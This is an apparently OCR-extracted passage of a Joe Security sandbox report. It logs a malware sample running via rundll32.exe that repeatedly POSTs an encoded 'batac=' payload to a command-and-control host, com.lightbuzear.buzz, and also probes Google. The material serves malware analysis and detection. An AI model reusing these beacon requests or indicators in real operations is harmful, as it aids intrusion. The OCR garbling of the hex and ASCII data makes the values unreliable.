/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0OBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP P ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:40 UTC 25

2022-08-14 06:39:41 UTC 26

2022-08-14 06:39:41 UTC 26

Session ID Source IP
15 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:41 UTC 26

2022-08-14 06:39:41 UTC 26

2022-08-14 06:39:42 UTC 27

2022-08-14 06:39:42 UTC 28

Session ID Source IP

16 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:42 UTC 28

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49187

Direction

ouT

ouT

Source Port

49188

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:41 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
74 3276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:42 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP P ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:42 UTC 28

2022-08-14 06:39:43 UTC 29

2022-08-14 06:39:43 UTC 29

Session ID Source IP
17 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:44 UTC 29

2022-08-14 06:39:44 UTC 30

2022-08-14 06:39:44 UTC 31

2022-08-14 06:39:44 UTC 31

Session ID Source IP

18 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:45 UTC 31

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49189

Direction

ouT

ouT

Source Port

49190

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 7469 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
74 3276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:45 UTC 31

2022-08-14 06:39:45 UTC 32

2022-08-14 06:39:45 UTC 33

Session ID Source IP
19 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:46 UTC 33

2022-08-14 06:39:46 UTC 33

2022-08-14 06:39:46 UTC 34

2022-08-14 06:39:46 UTC 34

Session ID Source IP

2 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:27 UTC 4

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49191

Direction

ouT

ouT

Source Port

49174

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:45 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
142.250.185.228 443 C:\Windows\System32\rundll32.exe

Data

POST / HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: www.Google.com

Content-Length: 0

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:27 UTC 4

2022-08-14 06:39:27 UTC 5

2022-08-14 06:39:27 UTC 5

Session ID Source IP
20 192.168.2.22
. kBytes
Ti t
tmestamp transferred

2022-08-14 06:39:47 UTC 34

2022-08-14 06:39:47 UTC 35

2022-08-14 06:39:47 UTC 36

2022-08-14 06:39:47 UTC 36

Session ID Source IP

21 192.168.2.22
. kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49192

Direction

ouT

ouT

Source Port

49193

Direction

Data

HTTP/1.1 405 Method Not Allowed

Allow: GET, HEAD

Date: Sun, 14 Aug 2022 06:39:27 GMT

Content-Type: text/html; charset=UTF-8

Server: gws

Content-Length: 1589

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 30 35 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3
€ 7374 79 6¢ 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f
64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> *{margin:0;padding:
O}html,code{font:15px/22px aria

Data Raw: 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f
63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73
63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74
69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b

Data Ascii: ges/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-im
age:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and
(-webkit-min-device-pixel-ratio:2){#logo{back

Destination
Port

Destination IP Process

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwigOw4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4dBEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:47 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Port

Destination IP Process

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data
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kBytes

Timestam
P transferred

2022-08-14 06:39:48 UTC 36

2022-08-14 06:39:48 UTC 36

2022-08-14 06:39:48 UTC 37

2022-08-14 06:39:48 UTC 37

Session ID Source IP
22 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:49 UTC 37

2022-08-14 06:39:49 UTC 38

2022-08-14 06:39:50 UTC 39

2022-08-14 06:39:50 UTC 39

Session ID Source IP

23 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:50 UTC 39

Copyright Joe Security LLC 2022

Direction

ouT

ouT

Source Port

49194

Direction

ouT

ouT

Source Port

49195

Direction

ouT

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4d BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP CEIREL Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwigOw4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:49 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

